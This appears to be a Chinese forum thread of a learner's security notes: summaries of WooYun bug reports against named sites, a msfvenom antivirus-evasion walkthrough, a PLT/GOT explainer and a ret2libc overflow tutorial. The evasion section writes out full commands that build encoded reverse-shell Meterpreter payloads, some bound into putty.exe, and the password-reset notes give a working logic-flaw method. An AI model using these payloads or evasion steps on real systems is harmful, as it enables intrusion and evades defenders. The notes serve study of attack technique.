突破标题:中青旅某站任意文件上传导致Getshell

大佬在登陆界面拦包得:
http://cyts.chinaopenschool.com/customize/nwc_user_newvexam/login/login.html
![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)

### 10、CSRF
>缺陷编号:wooyun-2016-0225820
漏洞标题:bilibili点我链接我就能登陆你的账号
相关厂商:bilibili.com

![在这里插入图片描述]()
![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)
这个是请求微博oauth2授权
会直接被302跳转到Bilibili得绑定页面 且没有token防护,也没有referer检测
我把这条url发给了基友
然后他就被我绑定了微博

**以上便是大佬的思路了。**
说实话,对于CSRF之前老师听说过,但是让自己解释起来,还是不是很懂。
参考链接:[CSRF攻击与防御](https://blog.csdn.net/xiaoxinshuaiga/article/details/80766369)
https://blog.csdn.net/xiaoxinshuaiga/article/details/80766369

>    **CSRF攻击攻击原理及过程如下:**
       1. 用户C打开浏览器,访问受信任网站A,输入用户名和密码请求登录网站A;
       2.在用户信息通过验证后,网站A产生Cookie信息并返回给浏览器,此时用户登录网站A成功,可以正常发送请求到网站A;
       3. 用户未退出网站A之前,在同一浏览器中,打开一个TAB页访问网站B;
       4. 网站B接收到用户请求后,返回一些攻击性代码,并发出一个请求要求访问第三方站点A;
       5. 浏览器在接收到这些攻击性代码后,根据网站B的请求,在用户不知情的情况下携带Cookie信息,向网站A发出请求。网站A并不知道该请求其实是由B发起的,所以会根据用户C的Cookie信息以C的权限处理该请求,导致来自网站B的恶意代码被执行。



回复

使用道具 举报

114

主题

158

帖子

640

积分

高级会员

Rank: 4

积分
640
 楼主| 发表于 2020-3-7 23:43:25 | 显示全部楼层
wooyun总结06


这个是3月6日写的,昨天忘了上传了。


###  1、敏感信息泄露
>缺陷编号:wooyun-2016-0225790
漏洞标题:中国移动飞信开发者平台+微信公众号弱口令可被控制
相关厂商:飞信

通过弱口令登陆到了后台

###  2、设计缺陷/逻辑错误
>缺陷编号:wooyun-2016-0225773
漏洞标题:世纪佳缘某内部系统漏洞一枚可看内部信息
相关厂商:世纪佳缘

![在这里插入图片描述]()

去溜达了一下login界面,界面和之前的bug 界面相差不大,只不过增加个一个图片验证码,但是图片验证码的图片是三张图轮流搞。

绕过图片验证码参考链接:
[实例讲解如何绕过图片验证码:](http://www.360doc.com/content/17/0721/08/3298735_672985712.shtml)
[修复验证码绕过:](https://www.cnblogs.com/woaic/archive/2013/01/15/3942808.html)
[小议如何绕过图片在验证码](https://www.cnblogs.com/wang7/articles/2737209.html)

###  3、SQL注射漏洞
>缺陷编号:wooyun-2016-0225440
漏洞标题:华图教育某站伪静态SQL注入
相关厂商:华图教育

![在这里插入图片描述]()

之后,大牛里哟给sqlmap扫描,发现数据库等信息啊。

此网站的其他漏洞。

######  我的second bug

同时注册两个账号A和B,
用账号A进行密码找回,发送验证码拦包,phone参数后面的号码改为B的号码,之后你将发现 B手机收到了验证码,next,输入新的密码,A的密码被修改了。

如下图:
![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)

拦包修改:
![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)

![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)

but不知道是不是因为账号的原因,我的登陆不进去,,伤心。。

### 4、SQL注射漏洞--过滤了大于号
>缺陷编号:wooyun-2016-0225626
漏洞标题:21英语网某蜂蜜站存在SQL注入漏洞可绕过
相关厂商:i21st.cn

![在这里插入图片描述]()

这里面的构造的payload挺神奇的,长知识了。
![在这里插入图片描述]()

### 5、敏感信息泄露
>缺陷编号:wooyun-2016-0225610
漏洞标题:广州医科大学某分站备份文件泄露
相关厂商:gzhmu.edu.cn

对于这个网站的登录界面,额,我只想说做的似乎有点太fu衍了吧。没事,可能是麻雀虽小五脏俱全呢也说不定啦。
![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)

###  6、设计缺陷/逻辑错误
>缺陷编号:wooyun-2016-0225648
漏洞标题:六间房设计不当可获取女主播的ip地址
相关厂商:六间房

![在这里插入图片描述]()

抓包,拦截发现,返回包中含有 主播 ip 。

###  7、重要敏感信息泄露
>缺陷编号:wooyun-2016-0225588
漏洞标题:金立内部邮箱账号泄露
相关厂商:gionee.com

此漏洞参考链接:[smtpConfig.php](https://github.com/yqbaa/mmm/blo ... figs/smtpConfig.php)

关于这个在网站上搜到  [jin立某系统曾存在SQL注入漏洞,导致大量用户信息泄露](https://www.uedbox.com/post/14432/)。


###  8、SQL注射漏洞
>缺陷编号:wooyun-2016-0225461
漏洞标题:步步高某分站存在SQL注入漏洞
相关厂商:eebbk.com

![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)


###  9、后台弱口令
>缺陷编号:wooyun-2016-0225527
漏洞标题:xin网华通信息技术有限公司某处运维dns管理系统弱口令
相关厂商:xin网华通信息技术有限公司


###  10、设计缺陷/逻辑错误
>缺陷编号:wooyun-2016-0225471
漏洞标题:蜻蜓fm公众平台任意用户密码重置
相关厂商:qingting.fm

![在这里插入图片描述]()
发现:当在google上面登陆A账号时,打开“我的”界面,观看我的收听历史。将浏览器的网址复制到firefox中再打开时,我们将可以查看到A用户的观看历史界面,但是几秒钟后会跳掉了。


回复

使用道具 举报

114

主题

158

帖子

640

积分

高级会员

Rank: 4

积分
640
 楼主| 发表于 2020-3-12 22:07:18 | 显示全部楼层
MSF自免杀

今天大致把远控免杀的文章看了一遍,前面的几篇基本去实现了一遍,后面的直到第26篇全是讲解工具的,大致浏览了一遍,但是没有一一实现啦!

本文转载于:msf自免杀(VT免杀率35/69)
关于工具篇可以查看:[远控免杀从入门到实现--工具总结篇]
文章目录
1、专业术语
2、msfvenom指令
3、免杀之旅
(1)、未作处理的payload(查杀率57/72)
(2)、msf自编码处理(查杀率57/72)
(3)、msf自捆绑免杀(查杀率39/71)
(4)、msf自捆绑+编码(查杀率40/72)
(5)、msfvenom多重编码(44/72)

###  1、专业术语

PS:这个先举例一下啦,具体的后期一定补上。
1. 渗透攻击(Exploit)
3. 攻击载荷(Payload)
4. Shellcode
5. 模块(Module)
6. 监听器(Listener)

### 2、msfvenom指令


msfvenom集成了msfpayload和msfencode,2015年之后移除了后两项。再按照某些教程输后两个命令是不行的。

>让我们看一下此列表中一些最重要的选项。
-p指定我们要使用的Metasploit有效负载  
-e指定我们要使用的编码器  
-a指定我们要使用的体系结构(默认为x86)  
-s指定有效载荷的最大大小  
-i指定用于编码有效载荷的迭代次数  ,即编码次数
-x指定一个自定义可执行文件用作模板 ,即绑定一个外部可执行文件,例如 -x putty.exe
-f 告诉MSF编码器输出格式为XXX。例如:-f exe:则告诉编码器文件格式为EXE。
>

全部命令:
参考链接:https://www.jianshu.com/p/204874fea1d3

  1. ```python
  2. Options:
  3.     -p, --payload       <payload>    Payload to use. Specify a '-' or stdin to use custom payloads
  4.     # 指定特定的 Payload,如果被设置为 - ,那么从标准输入流中读取
  5.         --payload-options            List the payload's standard options
  6.     # 列出指定 Payload 的标准可选配置项
  7.     -l, --list          [type]       List a module type. Options are: payloads, encoders, nops, all
  8.     # 列出所有可用的项目,其中值可以被设置为 payloads, encoders, nops, all
  9.     -n, --nopsled       <length>     Prepend a nopsled of [length] size on to the payload
  10.     # 指定 nop 在 payload 中的数量(译者注:类似堆喷射中通过 nop 滑动到 payload)
  11.     -f, --format        <format>     Output format (use --help-formats for a list)
  12.     # 指定 Payload 的输出格式
  13.         --help-formats               List available formats
  14.     # 列出所有可用的输出格式
  15.     -e, --encoder       <encoder>    The encoder to use
  16.     # 指定使用的 Encoder
  17.     -a, --arch          <arch>       The architecture to use
  18.     # 指定目标系统架构
  19.         --platform      <platform>   The platform of the payload
  20.     # 指定目标系统平台
  21.         --help-platforms             List available platforms
  22.     # 列出可用的平台
  23.     -s, --space         <length>     The maximum size of the resulting payload
  24.     # 设置未经编码的 Payload 的最大长度
  25.         --encoder-space <length>     The maximum size of the encoded payload (defaults to the -s value)
  26.     # 编码后的 Payload 的最大长度
  27.     -b, --bad-chars     <list>       The list of characters to avoid example: '\x00\xff'
  28.     # 设置需要在 Payload 中避免出现的字符
  29.     -i, --iterations    <count>      The number of times to encode the payload
  30.     # 设置 Payload 的编码次数
  31.     -c, --add-code      <path>       Specify an additional win32 shellcode file to include
  32.     # 指定包含一个额外的win32 shellcode文件
  33.     -x, --template      <path>       Specify a custom executable file to use as a template
  34.     # 指定一个特定的可执行文件作为模板
  35.     -k, --keep                       Preserve the template behavior and inject the payload as a new thread
  36.     # 保护模板程序的功能,注入的payload作为一个新的进程运行
  37.     -o, --out           <path>       Save the payload
  38.     # 保存 Payload 到文件
  39.     -v, --var-name      <name>       Specify a custom variable name to use for certain output formats
  40.     # 指定一个变量名
  41.     #(译者注:当添加 -f 参数的时候,例如 -f python,那么输出为 python 代码, payload 会被按行格式化为 python 代码
  42.     # 追加到一个 python 变量中,这个参数即为指定 python 变量的变量名)
  43.         --smallest                   Generate the smallest possible payload
  44.     # 尽可能生成最短的 Payload
  45.     -h, --help                       Show this message
  46.     # 帮助

  47. ```
复制代码

--list可以列出所有的XXX,例如 msfvenom --list encoders 可以查看所有的编码器。可以用此命令查看的还有 payloads,encoders,nops,platforms,archs,encrypt,formats。


3、免杀之旅


(1)、未作处理的payload(查杀率57/72)


在此我们使用 windows/meterpreter/reverse_tcp生成一个原始的payload的exe文件。

  1. ```c
  2. msf5 > msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.164.*** LPORT=3333 -f exe -o payload1.exe
  3. ```
复制代码

在virustotal.com上的查杀率位 57/72,额,百分之九十以上了。

![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)


(2)、msf自编码处理(查杀率57/72)


我们可以使用msfvenom --list encoders 查看所有的编码器。

![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)

由图可见 cmd/powershell_base64 和 x86/shikata_ga_nai 为两个平级最高的encoder。

在此,我们使用 x86/shikata_ga_nai 生成 payload 。如下,参数 -i 为编码的次数,参数 -b 为避免出现的字符,即当出现此字符时,将会自动转化成其他字符。
  1. ```c
  2. msf5 > msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.164.*** LPORT=3333 -e x86/shikata_ga_nai -b "\x00" -i 15 -f exe -o payload2.exe
  3. ```
复制代码

这个payload在virustotal.com上的查杀率依旧为 57/72。
由于 x86/shikata_ga_nai 编码技术是多态的,也就是说每次生成的payload文件都会不一样,因此有时可被查杀有时又不会。另外查杀率也和编码次数有关,但是并不是说编码次数越多越好,超过一定的次数便容易出错。

(3)、msf自捆绑免杀(查杀率39/71)

在此,我们将生成payload绑定在指定的模板上,这里为putty.exe。
payload命令如下:

  1. ```c
  2. msf5 > msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.164.*** LPORT=3333 -x putty.exe -f exe -o payload3.exe
  3. ```
复制代码

此时,在VT上面的查杀率为 39/71,降低了不少。


![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)

(4)、msf自捆绑+编码(查杀率40/72)


将上面的2和3方法结合在一起。

此时,我们的payload为:

  1. ```c
  2. msf5 > msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.164.*** LPORT=3333 -e x86/shikata_ga_nai -x putty.exe -i 15 -f exe -o payload4.exe
  3. ```
复制代码

在VT上面,查杀率为40/72。

![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)


(5)、msfvenom多重编码(44/72)


在此,我们通过管道,让msfvenom用不同的编码器对payload反复编码。
生成的payload为:(收到加了换行,便于观看,执行时不需要哦。)

  1. ```c
  2. msfvenom  -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 20 LHOST=192.168.164.*** LPORT=3333 -f raw
  3. | msfvenom -e x86/alpha_upper -i 10 -f raw
  4. | msfvenom -e x86/countdown -i 10 -x putty.exe -f exe -o payload5.exe
  5. ```
复制代码


这个只是一个,相对来说,这种的编码姿势有很多。例如:(收到加了换行,便于观看,执行时不需要哦。)

  1. ```c
  2. msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp -e x86/call4_dword_xor -i 14 LHOST=192.168.164.*** LPORT=5110 -f raw
  3. | msfvenom -a x86 --platform windows -e x86/countdown -i 13 -f raw
  4. | msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -b "&" -i 4 -f raw
  5. | msfvenom -a x86 --platform windows -e cmd/powershell_base64 -i 10 -x putty.exe -k -f exe > payload6.exe
  6. ```
复制代码

在VT上面查杀率为 44/72。

![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)



回复

使用道具 举报

114

主题

158

帖子

640

积分

高级会员

Rank: 4

积分
640
 楼主| 发表于 2020-4-2 10:37:48 | 显示全部楼层
PLT与GOT双生姐妹花


今天刚刚接触到PLT与GOT,所以就想以此篇文章来巩固一下我对于这对姐妹花的理解啦!刚刚接触,理解不深,还请大佬轻喷!

环境:ubantu 16.04

文章目录
1、程序运行过程
2、代码示例引入
(1)、链接重定向的产生
拓展:静态链接和动态连接
(2)、链接重定向的分析
(3)、GOT和PLT的形成
3、延迟重定位
4、代码验证重定位
5、函数执行流程图



###  1、程序运行过程

首先我们对于程序运行来有一个基本的概念,程序运行起来应经过四个步骤:预处理、编译、汇编和链接,过程如下。
![在这里插入图片描述]()




汇编过程调用汇编器as来完成,是用于将汇编代码转换成机器可以执行的指令,每一个汇编语句几乎都对应一条机器指令。汇编生成的文件时test.o。

链接的主要内容就是将各个模块之间相互引用的部分正确的衔接起来。它的工作就是把一些指令对其他符号地址的引用加以修正。链接过程主要包括了地址和空间分配、符号决议和重定向。


###  2、代码示例引入


对程序运行有个大致的概念后,我们再利用一个小程序来引入对PLT和GOT姐妹花的正式的讲解啦!

程序:

  1. ```c
  2. #include<stdio.h>
  3. void print_banner()
  4. {
  5.         printf("Welcome to World of PLT and GOT\n");
  6. }
  7. int main(void)
  8. {
  9.         print_banner();
  10.         return 0;
  11. }
  12. ```
复制代码

(PS:如果执行以下两步出现:fatal error: sys/cdefs.h: No such file or directory的错误,请参照[链接](https://blog.csdn.net/huangwei2014/article/details/93191309),还有错误的话,就自行百度吧!应该不麻烦,没事,顶多改几天配置嘛,哈哈!)


编译

  1. ```bash
  2. gcc -Wall -g -o test.o -c test.c -m32
  3. ```
复制代码



链接:

  1. ```bash
  2. gcc -o test test.o -m32
  3. ```
复制代码


由程序运行我们可以知道,汇编完成后形成文件 test.o,所以接下来我们通过以下命令查看反汇编代码。

  1. ```bash
  2. objdump -d test.o
  3. ```
复制代码



####  (1)、链接重定向的产生


按照程序执行的逻辑,执行函数调用时调用 call+函数地址,然后再函数运行完ret指令进行返回,这样便完成了一次函数的调用。因此print_banner()函数反汇编的代码应该类似于下面:call + printf的地址


  1. ```c
  2. 00000000 <print_banner>:
  3.    0:                       push   %ebp
  4.    1:                       mov    %esp,%ebp
  5.    3:                       sub    $0x8,%esp
  6.    6:                       sub    $0xc,%esp
  7.    9:                       push   $0x0
  8.    e:                       call   *printf的地址*
  9.   13:                       add    $0x10,%esp
  10.   16:                       nop
  11.   17:                       leave  
  12.   18:                       ret   

  13. ```
复制代码



但是事实和我们的想象总是那么的不符!!

![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)



从上图我们可以看出,编译完成后,直接看 call +<>,似乎是 call + printf 函数的地址,但是看机器码我们发现,main() 和 print_banner()  函数中 ”<> “ 中指的都是机器码 “ff ff ff fc”(表示),这表示 “ff ff ff fc” 只是一个函数地址的代号。也就是说链接前函数都是用 ff ff ff fc 代替,也就是有符号数字 “-4”代替。
这也就表示尽管 printf_banner() 函数调用了 printf函数,但是在链接前无法知道printf的地址的。那么 printf的地址在哪里呢?printf函数在glibc动态链接库中。


现在我们可以知道,程序执行时,glibc动态库装载了(即printf函数的地址确定了),但是程序在汇编时是不知道 printf 函数的地址,也就是说在函数链接时才知道 printf函数的地址;即函数在链接时,call + printf函数地址,但是之前汇编时 call 为 “call + -4”,这说明运行时call发生了链接重定向。


##### 拓展:静态链接和动态连接

在这里我们对链接的过程进行简要的介绍一下:
参考链接:https://blog.csdn.net/weixin_411 ... _relevant.none-task

>静态链接是由链接器在链接时将库的内容加入到可执行程序中的做法。链接器是一个独立程序,将一个或多个库或目标文件(先前由编译器或汇编器生成)链接到一块生成可执行程序。静态链接是指把要调用的函数或者过程链接到可执行文件中,成为可执行文件的一部分。
>
>动态链接所调用的函数代码并没有被拷贝到应用程序的可执行文件中去,而是仅仅在其中加入了所调用函数的描述信息(往往是一些重定位信息)。仅当应用程序被装入内存开始运行时,在Windows的管理下,才在应用程序与相应的DLL之间建立链接关系。当要执行所调用DLL中的函数时,根据链接产生的重定位信息,Windows才转去执行DLL中相应的函数代码。


####  (2)、链接重定向的分析

在这里我们的是动态链接,我么可以发现尽管在链接时函数call发生了链接重定位,对call后面的内容进行了修改。但是并不能直接修改成call + printf的glibc动态库地址,因为glibc的动态库地址是在运行时才与应用程序产生关系的,而运行时call所处的代码段不能发生修改。那么如何将call与printf的glibc动态链接库连接起来呢?

**答案是:如果要将call与printf的glibc动态链接库连接起来的话,那么在链接重定向时,首先call+0xXX,然后链接器在0xXX处应该产生一个链接代码,对printf进行调用,从而将二者连起来。**


链接器生成的伪代码如下:

  1. ```c
  2. .text
  3. ...

  4. // 调用printf的call指令
  5. call printf_stub
  6. ...

  7. printf_stub:
  8.     mov rax, [printf函数的储存地址] // 获取printf重定位之后的地址
  9.     jmp rax // 跳过去执行printf函数

  10. .data
  11. ...
  12. printf函数的储存地址:
  13.   这里储存printf函数重定位后的地址

  14. ```
复制代码


链接阶段,printf定义在动态库中,链接器生成一段小代码printf_stub,然后代码段中call +printf_stub,形成对printf_stub的调用。从而转化为链接阶段对printf_stub做链接重定位,而运行时才对printf做运行重定位。如下是对于代码的一个雏形图。


![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)



####  (3)、GOT和PLT的形成


由上我们可以知道,连接代码有以下两部分组成:
> - 调用跳转代码:调用函数的绝对地址然后跳转到动态链接库。
> - 库函数的地址为跳转代码做准备。


当文件中出现多个函数调用时,那么每个函数调用都会出现这两个东西,因此对这两个代码段进行命名。
  • - 存放函数地址的数据表,称为全局偏移表(GOT:主要存放所有的全局指针,存放着函数的绝对地址)。
  • - 存放调用跳转代码的过程表,称为过程链接表(PLT:call跳转PLT表,然后PLT表在call + GOT的绝对地址实现函数的调用)。


如下,为动态链接的一个简要示意图:

![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)



现在我们知道了函数在调用时需要产生PLT表和GOT表作为连接代码将代码和动态库进行连接,那么代码到底是怎么实现这个链接的呢?我们接着往下看。


### 3、延迟重定位

从上面可知,当需要对一个函数进行调用时,他的汇编代码call首先会掉用PLT表,然后PLT再通过调用GOT与动态库实现重定位连接,这样函数调用动态库时便类似于间接 jmp+地址。
但是如果当一个文件中存在大量的函数时,如果在程序运行前就重定位好所有的函数调用的话虽然会减轻函数调用的时间,但是会大大增加程序的启动时间,是整个程序变得很慢。因此Linux便产生了延迟重定位:也就是当你调用函数的时候函数才开始执行重定位和地址解析工作。


因此便形成了以下代码来实现延迟定位:

  1. ```c
  2. //一开始没有重定位的时候将 printf@got 填成 lookup_printf 的地址
  3. void printf@plt()
  4. {
  5. address_good:
  6.     jmp *printf@got            // 链接器将printf@got填成下一语句lookup_printf的地址

  7. lookup_printf:
  8.         调用重定位函数查找printf地址,并写到printf@got

  9.         goto address_good;
  10. }

  11. ```
复制代码



从代码可知,没有重定位时执行printf@plt时,printf@got存放的是下一句的地址,类似于 jmp lookup_printf,而在lookup函数中查找printf地址,然后写到printf@got中,最后在利用 goto 回到 jmp printf@got,实现 printf 函数的调用。如下为函数调用的示意图。

![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)


### 4、代码验证重定位


接下来,我们用上面的代码示例对其进行验证。
我们利用以下代码查看plt中的内容。

  1. ```bash
  2. objdump -d test > test.asm
  3. ```
复制代码



接下来打开test.asm,查看其中的地址。(在这里由于第一个是一个公共的我先将改为common@plt便于之后理解,至于为什么是公共的请接着往下看。)

  1. ```c
  2. Disassembly of section .plt:

  3. 080482d0 <common@plt-0x10>:
  4. 80482d0:       ff 35 04 a0 04 08       pushl  0x804a004
  5. 80482d6:       ff 25 08 a0 04 08       jmp    *0x804a008
  6. 80482dc:       00 00                   add    %al,(%eax)
  7.         ...

  8. 080482e0 <puts@plt>:
  9. 80482e0:       ff 25 0c a0 04 08       jmp    *0x804a00c
  10. 80482e6:       68 00 00 00 00          push   $0x0
  11. 80482eb:       e9 e0 ff ff ff          jmp    80482d0 <_init+0x28>

  12. 080482f0 <__libc_start_main@plt>:
  13. 80482f0:       ff 25 10 a0 04 08       jmp    *0x804a010
  14. 80482f6:       68 08 00 00 00          push   $0x8
  15. 80482fb:       e9 d0 ff ff ff          jmp    80482d0 <_init+0x28>

  16. ```
复制代码


下面我们用gdb命令查看.plt中jmp跳转地址内的指定的内容,命令如下:gdb test 和 b main

  1. ```cpp
  2. gdb-peda$ x/x 0x804a00c
  3. 0x804a00c:        0x080482e6
  4. gdb-peda$ x/x 0x804a010
  5. 0x804a010:        0x080482f6
  6. gdb-peda$ x/x 0x804a008
  7. 0x804a008:        0x00000000
  8. ```
复制代码



之前的plt,如下图,我们发现,<puts@plt>和<__libc_start_main@plt>的第一个jmp跳转的是下一句的地址


![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)



接下来,我们开始(run)运行程序,由于我们的断点是在b main,如下图程序停在了call <print_banner>处,这说明main开始调用了但是print_banner并没有开始调用。

![在这里插入图片描述]()



然后我们查看之前plt中jmp的地址。发现<__libc_start_main@plt>和<common@plt>中的jmp后面的地址发生了改变,即他们发生了重定向,而<puts@plt>的并没有改变,刚好main被调用了了,而printer_banner并没有调用。这刚好证实了前面说的延迟重定位机制,只有当函数调用的时候才开始重定向。

  1. ```c
  2. gdb-peda$ x/x 0x804a00c
  3. 0x804a00c:        0x080482e6
  4. gdb-peda$ x/x 0x804a010
  5. 0x804a010:        0xf7e1c540
  6. gdb-peda$ x/x 0x804a008
  7. 0x804a008:        0xf7fee000
  8. ```
复制代码


### 5、函数执行流程图

下面,附上两张大佬的调用图吧!










最后,文章就到这吧,其他的后续想到再来续写吧!

***--------------------------------晚安,我的城!明早见!***




**参考链接:**






回复

使用道具 举报

114

主题

158

帖子

640

积分

高级会员

Rank: 4

积分
640
 楼主| 发表于 2020-4-9 13:52:07 | 显示全部楼层
本帖最后由 Xor0ne 于 2020-4-9 13:58 编辑

聊聊ret2libc的身世


今天我来谈谈自己对ret2libc的一点小理解,还望大佬轻喷。


文章目录

1、DEP和ret2libc的关系
2、想象payload的体态 ^ _ ^
payload构造
3、ret2libc利用示例
(1)、代码示例
(2)、开始找地址
A、编译:
B、运行:
C、确定system和exit地址
D、确定EIP及超长字符
F、确定shell地址
F、最终的payload
(3)、执行payload
4、参考链接:



关于ret2libc,一切还要先从DEP说起……


  1、DEP和ret2libc的关系


**DEP是什么呢?它和我们的主人公ret2libc又有什么关系呢?**


**DEP**,数据执行保护技术,有助于防止电脑遭受病毒和其他安全威胁的侵害。DEP 可以防止应用运行用于暂存指令的那部分内存中的数据,从而保护电脑。 如果 DEP 发现某个运行此类数据的应用,它将关闭该应用并通知你。

说白了就是由于当我们程序运行时,DEP将非代码段设置属性为不可执行,倘若程序在这些地址空间进行指令运行,CPU就将报内存违例异常,然后,嘿嘿,杀死进程。当然这里面也包括栈空间哦,因此注入shellcode的话也是无法执行啦!


正所谓“道高一尺,魔高一丈”,既然我们注入的shellcode无法执行,那么系统中进程和动态代码库的的代码段总是要执行的吧,那么攻击者便可以利用现有进程和动态代码库中的函数进行攻击,那么ret2libc这个技术就衍生出来啦!


**ret2libc:**  也即 return-to-libc ,修改EIP,使程序跳转到可执行的系统动态代码库中执行相关函数,从而绕过DEP栈保护机制。



###  2、想象payload的体态 ^ _ ^


在系统动态代码库中有一个函数system可以调用“/bin/bash”,然后执行命令啦。
**那么我们怎么调用system函数呢?**


老套路——地址覆盖。信息查看函数的反汇编我们可以发现,在每一个函数执行结束后都会有一个语句——ret跳转到函数最开始执行的位置。ret 跳转的原理类似于:
  1. pop eip
  2. jmp eip
复制代码


也就是说 ret 跳转首先将栈顶的值赋给eip,然后再跳转到eip处。正常情况下此时的eip和程序执行前应该是一致的,但当我们用**超长字符覆盖栈顶**,那么我们便可以在执行 ret 的时候跳转到我们想要执行的地方了。我们需要调用system,因此将栈顶换成system_addr的地址便可以啦!


当我们需要利用system调用 “/bin/bash” 执行命令,那么“/bin/bash”  便要作为参数放入到栈空间。(PS:system的参数只有一个。)函数入栈顺序为“从右至左逐个入栈”,因此参数 “/bin/bash” 因在 system之前入栈。结构如下:




当我们执行完system函数的调用后,此时的栈结构已经被我们破坏的惨不忍睹了  ~ _~ 。为了避免再出现什么幺蛾子,我们开始只用我们的必杀技—— **exit 函数**,直接强制结束程序平衡堆栈,喔哈哈哈哈!


#### payload构造


如下便是我们构造payload的图解,由图可以看出我们的payload结构为:

  1. 超长字符 + system地址 + exit函数地址 + “/bin/bash”
复制代码





### 3、ret2libc利用示例


由上面可得,我们的payload结构为:

  1. 超长字符 + system地址 + exit函数地址 + “/bin/bash”的地址
复制代码


**那么问题来了,**
> 1. 超长字符是多长呢?
> 2. system 函数和 exit 函数的地址是什么呢?
>3.  “/bin/bash” 的地址是什么呢呢?
>4、system地址覆盖的是 EIP 的位置,那么 EIP返回的栈顶位置怎么确定呢?



####  (1)、代码示例


如下,在这个代码中,我们的payload是直接在外部 input 输入的。


```cpp
#include<stdio.h>
#include<string.h>


void evilfunction(char *input)
{
        char buffer[521];
        strcpy(buffer,input);
}


int main(int argc, char **argv){
        
        evilfunction(argv[1]);


        return 0;
}
```



我们攻击的点如下,利用strcpy()函数 中第二个参数长度 input > 第一个参数长度 buffer从而实现溢出覆盖。

```cpp
void evilfunction(char *input)
{
        char buffer[521];
        strcpy(buffer,input);
}
```



#### (2)、开始找地址


##### A、编译:
  1. # gcc -Wall -g -o stack stack2.c -fno-stack-protector -m32
复制代码
>-m32:生成32位的可执行文件
-no-pie:关闭程序ASLR/PIE(程序随机化保护)
-fno-stack-protector:关闭Stack Protector/Canary(栈保护)
-z execstack:关闭DEP/NX(堆栈不可执行)
-o:输出
stack:编译生成文件的文件名
stack2.c:编译前的源文件


**关闭ASRL**

  1. # echo 0 > /proc/sys/kernel/randomize_va_space
复制代码


如果以上命令关不了,(PS:cat /proc/sys/kernel/randomize_va_space 可查看 参数/proc/sys/kernel/randomize_va_space的值哦!参数值为2时,表示启用随机地址功能;0表示关闭。)如图,为错误示例:

)



可试一下一下命令:
  1. # sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space"
复制代码



